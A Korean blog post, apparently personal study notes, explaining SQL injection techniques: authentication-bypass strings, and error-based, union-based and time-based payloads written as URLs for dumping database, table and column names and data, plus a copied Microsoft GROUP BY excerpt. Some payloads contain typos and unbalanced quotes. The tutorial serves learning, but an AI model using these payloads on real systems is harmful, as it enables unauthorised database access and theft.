본문 바로가기
웹 해킹/웹 해킹 개념

SQL인젝션

by sonysame 2018. 2. 8.

SQL인젝션 공격 방법을 정리하고자 한다.




참고 사이트




http://mrrootable.tistory.com/25

https://technet.microsoft.com/ko-kr/library/ms189288(v=sql.90).aspx





1. 인증 우회(Auth Bypass)




SQL 쿼리 문의 TRUE/False 의 논리적 연산 오류를 이용하여 로그인 인증 쿼리문이 무조건 TRUE의 결과 값이 나오게 하여 인증을 무력화시키는 기법




' or 1=1--


' or 1=1# (MySQL인 경우)

' or 'dog'='dog'--


' or 'ab'='a'+'b'--


' or 2>1--




MySQL에서 주석처리


-- (하이픈 2개와 스페이스 1개)


#




2. 데이터 노출(Data Disclosure)




타겟 시스템의 주요 데이터 절취를 목적으로 하는 방식


Error based, Union based, Blind based, Time based 방식이 있다.




1) Error based 방식




데이터베이스의 에러메세지를 기반으로 한 공격


SQL 구문 중 group by와 having 구문을 사용하여 일부로 에러를 유발시켜 에러 정보를 바탕으로 데이터베이스명이나, table, column 궁극적으로 data를 절취하는 것이 가능하다.




having은 group by가 사용된 SQL문에서 필터링이나 어떤 조건을 줄 떄 사용하는 구문으로 반드시 group by와 함께 사용해야 한다.


이 점을 이용하여 group by 없이 having을 사용하여 일부로 에러를 유발시킨다.


*여기서 잠깐 GROUP BY를 알아보자!


GROUP BY로 행 그룹화

SQL Server 2005

GROUP BY 절을 사용하여 결과 집합에서 각 행의 집계 값을 만듭니다. GROUP BY 절을 사용하지 않으면 집계 함수는 SELECT 문에 대해 하나의 집계 값만 보고합니다.

다음 예에서는 데이터베이스에서 각 판매 주문의 합계를 찾습니다.

USE AdventureWorks;
GO
SELECT SalesOrderID, SUM(LineTotal) AS SubTotal
FROM Sales.SalesOrderDetail sod
GROUP BY SalesOrderID
ORDER BY SalesOrderID ;
GO

GROUP BY 키워드는 그룹화 열로 알려진 열 목록 이전에 옵니다. GROUP BY 절은 결과 집합의 행을 제한합니다. 즉, 그룹화 열에 있는 각 고유 값에 대해 행이 하나만 있습니다. 각 결과 집합 행에는 그룹화 열의 특정 값과 관련된 요약 데이터가 포함되어 있습니다.

SELECT 문에 GROUP BY가 포함되어 있는 경우 SELECT 목록에 지정할 수 있는 항목이 제한됩니다. SELECT 목록에 허용되는 항목은 다음과 같습니다.

  • 그룹화 열
  • 매개 변수 중 하나가 열 이름인 집계 함수처럼 그룹화 열의 각 값에 대해 값을 하나만 반환하는 식. 이러한 식을 벡터 집계라고 합니다.

예를 들어 TableX에는 다음이 포함됩니다.

ColumnAColumnBColumnC

-------

-------

-------

1

abc

5

1

def

4

1

ghi

9

2

jkl

8

2

mno

3

ColumnA가 그룹화 열일 경우 결과 집합에는 두 개의 행, 즉 값 1에 대한 정보를 요약하는 행과 값 2에 대한 정보를 요약하는 행이 포함됩니다.

ColumnA가 그룹화 열이면 ColumnB 또는 ColumnC가 ColumnA의 각 값에 대해 단일 값을 반환할 수 있는 집계 함수에서 매개 변수일 경우에만 이러한 열을 참조할 수 있습니다. SELECT 목록에 MAX(ColumnB), SUM(ColumnC), AVG(ColumnC) 등의 식을 포함할 수 있습니다.

SELECT ColumnA,
       MAX(ColumnB) AS MaxB,
       SUM(ColumnC) AS SumC
FROM TableX 

GROUP BY ColumnA



www.example.com/?idx=1'having 1=1--  




에러문은 다음과 같다.


'member.idx'열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.


즉, 현재 쿼리에서 사용되는 테이블은 member이고 첫번째 컬럼은 idx라는 것을 알 수 있다.


이를 이용하여 다른 컬럼의 이름들도 뽑아낼 수 있다.


이번에는 group by와 having을 함께 쓸 것이다. 대신 group by에는 이미 알아낸 첫번쨰 컬럼인 idx를 집계하는 컬럼으로 사용해야 한다.


www.example.com/?idx=1' group by idx having 1=1--


에러문은 다음과 같다

'member.bld' 열이 집계함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.


즉, 두번째 컬럼인 bld를 알 아낼 수 있다.

세번째 컬럼을 알아내기 위해서는 쿼리를 아래와 같이 조작하여 실행하면 될 것이다.


www.example.com/?idx=1' group by idx, bld habing 1=1--

 

계속해서 알아낸 컬럼명을 group by절에 추가하여 순차적으로 컬럼명을 알아갈 수 있다.


모든 컬럼명을 알아냈다면, 각 컬럼의 자료형을 알아내보자. 이 때 사용되는 대표적인 SQL함수로는 sum(컬럼)이 있다.

sum(컬럼)은 말그대로 지정된 컬럼의 값을 모두 합하는 함수이다. 당연히 컬럼은 숫자형이어야 하고, 숫자형이 아닌 자료형의 컬럼을 지정하게 되면 에러가 발생한다.


2) Union based 방식


Union 연산자를 이용하여 공격자가 의도한 쿼리를 파라미터에 덧붙임으로써, 원하는 내부정보를 절취하는 방식이다.


-내부 실행되는 쿼리에서 사용되는 컬럼 갯수 알아내기


order by 라는 SQL Sorting 구문을 이용한다.

이 구문은 아래와 같이 사용되는데 order by뒤에 특정 컬럼명을 지정하지 않고, select절에서 사용되는 컬럼의 순번으로 지정하는 것도 가능하다.


select 컬럼1, 컬럼2, 컬럼3, 컬럼4

from 테이블

where 조건

order by 컬럼1 asc, 컬럼2 asc, 컬럼3 desc


select 컬럼1, 컬럼2, 컬럼3, 컬럼4....

from 테이블

where 조건

order by 1,2,3 //이때는 select 절에 사용된 컬럼순서대로이다.


select절에 있지도 않은 컬럼으로 정렬을 시키면->에러

바로 이 점을 이용한다!


www.example.com/?idx=1+order+by+1--   //노에러! 컬럼이 하나도 없는 select 절은 없으니까...

www.example.com/?idx=1+order+by+2--

www.example.com/?idx=1+order+by+3--


에러날때까지 해본다.

 or

www.example.com/?idx=1+union+select+1,2,3,4,5--


실제 웹페이지에서 사용되는 컬럼 번호를 알안내기 위해서는 정상적인 파라미터인(idx)에 부정조건을 전달해야 한다.

즉, 아래와 같이 음수값(-1,-99)과 같은 파라미터(여기서는 idx)로 존재하지 않을만한 데이터 값을 지정하거나 and 1=0과 같이 결과가 탐이 될 수 없는 조건문을 추가하는 것이다.


www.example.com/?idx=-99+union+select+1,2,3,4,5--


그러면 실제 유효한 쿼리는 뒤에 union을 통해 추가한 select 1,2,3,4,5 뿐이고 웹페이지에 유효쿼리에 결과값만이 표시된다.

즉, 1,2,3,4,5 컬럼 중에 몇몇 혹은 모든 컬럼이 웹페이지 화면에 그 정체를 드러낼 것이다.


2번 컬럼에 database()함수를 사용하면 웹페이지의 2번 컬럼 위치에 데이터베이스 명이 표시된다.


데이터베이스명 알아내기->www.example.com/?idx=-99+union+select+1,database(),3,4,5--


또한 MySQL의 시스템 테이블인 information_schema.tables를 이용하면 해당 Database의 테이블 리스트를 뽑아낼 수 있다.


테이블 명 알아내기->www.example.com/?idx=-99+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=data


알아낸 테이블 중 내부데이터를 보고 싶은 테이블이 있다면 아래의 조작된 URL 주소로 컬럼명들도 알아낼 수 있다.

이때도 시스템 테이블인 information_schema.columns 테이블이 사용된다.


컬럼명 알아내기-> www.example.com/?idx=-99+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name=테이블명--


컬러명들도 알아냈다면 원하는 컬럼의 데이터 값들을 뽑아보자.


www.example.com/?idx=-99+union+select+1,group_concat(concat_ws(0x3a, 컬럼2, 컬럼2),3,4,5+from+테이블명--


concat_ws()는 컬럼1과 컬럼2를 구분자 0x3a로 이어주는 역할을 한다.

웹페이지 화면에 컬럼1과 컬럼2의 데이터값이 아름답게 출력될 것이다.


3)Time based 방식


Time based 방식은 에러가 발생하지 않는 사이트에 사용된다. 기존에 설명한 Error based와 Union based보다 더 많은 노가다가 필요하다.


http://testaspnet,vulnweb.com/ReadNews.aspx?id=3 ;waitfor delay "0:0:5'--


세미콜론(;)은 waitfor delat앞의 쿼리를 끝내기 위해 사용한다.

waitfor delay "0:0:5'--로 인해 5초 뒤에 웹페이지가 뜬다.


http://testaspnet,vulnweb.com/ReadNews.aspx?id=3 ; if(unicode(substring((select isnull(cast(system_user as nvarchar(4000)), char(32))),1,1))>64) waitfor delay "0:0:5'--


아스키값이 64초과인 경우 5초 뒤에 웹페이지가 뜰것이다
그렇다면, 첫번째 글자는 소문자 알파벳 a-z까지 중에 하나임을 유추할 수 있다.

첫번째 글자를 찾았다면, substring함수를 수정하여 두번째 글자의 아스키값을 비교해가면 된다.

http://testaspnet,vulnweb.com/ReadNews.aspx?id=3 ; if(unicode(substring((select isnull(cast(system_user as nvarchar(4000)), char(32))),2,1))>64) waitfor delay "0:0:5'--


3. 원격명령실행(Remote Command Execute)

MSSQL에서 주로 사용되는 방법으로 MSSQL의 Stored Procedure(저장프로시져)를 이용하여 공격이 가능하다.


'웹 해킹 > 웹 해킹 개념' 카테고리의 다른 글

sql에서 연산자의 우선순위  (0) 2018.02.09
blind sql injection  (0) 2018.02.09
[웹 해킹 입문] 7. Metasploit  (0) 2018.01.16
[웹 해킹 입문] 6. WireShark  (0) 2018.01.16
[웹 해킹 입문] 5. 스캔  (0) 2018.01.16